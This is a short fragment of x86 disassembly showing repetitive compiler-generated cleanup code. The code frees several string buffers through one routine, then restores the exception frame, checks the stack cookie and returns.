jb 0x410578
mov eax, dword [ebp - 0xf4]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xe4], ebx
mov byte [ebp - 0xf4], bl
cmp dword [ebp - 0xfc], edi
jb 0x4105a1
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0x100], ebx
mov byte [ebp - 0x110], bl
cmp dword [ebp - 0x38], edi
jb 0x4105c4
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
cmp dword [ebp - 0x134], edi
jb 0x4105e4
mov eax, dword [ebp - 0x148]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x138], ebx
mov byte [ebp - 0x148], bl
cmp dword [ebp - 0x16c], edi
jb 0x41060d
mov ecx, dword [ebp - 0x180]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x16c], esi
mov dword [ebp - 0x170], ebx
mov byte [ebp - 0x180], bl
cmp dword [ebp - 0x188], edi
jb 0x410636
mov edx, dword [ebp - 0x19c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 0x19c], bl
cmp dword [ebp - 0x1a4], edi
jb 0x41065f
mov eax, dword [ebp - 0x1b8]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x1a4], esi
mov dword [ebp - 0x1a8], ebx
mov byte [ebp - 0x1b8], bl
cmp dword [ebp - 0x150], edi
jb 0x410688
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x150], esi
mov dword [ebp - 0x154], ebx
mov byte [ebp - 0x164], bl
cmp dword [ebp - 0x8c], edi
jb 0x4106b1
mov edx, dword [ebp - 0xa0]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x90], ebx
mov byte [ebp - 0xa0], bl
cmp dword [ebp - 0x118], edi
jb 0x4106da
mov eax, dword [ebp - 0x12c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
cmp dword [ebp - 0x54], edi
jb 0x4106fd
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
cmp dword [ebp + 0x24], edi
jb 0x410717
mov edx, dword [ebp + 0x10]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp + 0x24], esi
mov dword [ebp + 0x20], ebx
mov byte [ebp + 0x10], bl
cmp dword [ebp + 0x40], edi
jb 0x410731
mov eax, dword [ebp + 0x2c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp + 0x40], esi
mov dword [ebp + 0x3c], ebx
mov byte [ebp + 0x2c], bl
cmp dword [ebp + 0x5c], edi
jb 0x41077b
mov ecx, dword [ebp + 0x48]
push ecx
call fcn.00434321
add esp, 4
jmp 0x41077b
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.0043432c
mov esp, ebp
pop ebp
ret